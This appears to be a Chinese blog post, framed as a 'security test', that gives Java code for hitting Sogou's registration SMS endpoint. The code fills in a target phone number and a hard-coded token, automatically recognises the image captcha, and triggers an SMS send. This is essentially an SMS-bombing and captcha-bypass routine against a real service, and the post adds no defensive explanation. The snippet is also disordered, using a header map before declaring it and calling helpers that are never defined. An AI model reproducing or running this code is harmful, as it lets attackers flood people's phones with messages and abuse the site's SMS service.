安全测试 : 搜狗(sogou.com)网站短信接口安全测试,短信接口防盗刷测试
发布时间:2021-04-12 点击数:5219
安全问题不容忽视,不要亡羊补牢!
//配置请求头
inheads.put("Host", "www.sogou.com");
inheads.put("Accept", "application/json, text/javascript, */*; q=0.01");
inheads.put("X-Requested-With", "XMLHttpRequest");
inheads.put("Content-Type", "application/x-www-form-urlencoded; charset=UTF-8");
inheads.put("Referer", "https://www.sogou.com/register");
//配置请求参数
List<BasicNameValuePair> params = new ArrayList<BasicNameValuePair>();
params.add(new BasicNameValuePair("client_id", "2017"));
params.add(new BasicNameValuePair("mobile", phone));
params.add(new BasicNameValuePair("captcha", input.get("imgCode")));
params.add(new BasicNameValuePair("token", "3267574cf7a9289da2fce68b296c9d35"));
params.add(new BasicNameValuePair("t", "" + System.currentTimeMillis()));
//配置请求
Hashtable<String, String> inheads = new Hashtable<>();
LinkedHashMap<String, String> outheads = new LinkedHashMap<>();
Map<String, String> imgOutMap = new HashMap<>();
RetEntity retEntity = new RetEntity();
httpclient = createSSLClientDefault();
input.put("imgFmt", "png");
input.put("codeType", codetype);
input.put("lenMin", "1");
input.put("cleanType", "512");
String imgCode = getImgeCode(phone, httpclient, cookieStore, "get", imgUrl, inheads, outheads, input, imgOutMap);
input.put("imgCode", imgCode != null ? imgCode : "");
retEntity = userClick(httpclient, cookieStore, "post", smsUrl, inheads, outheads, input, phone);
closeHttpClient(httpclient);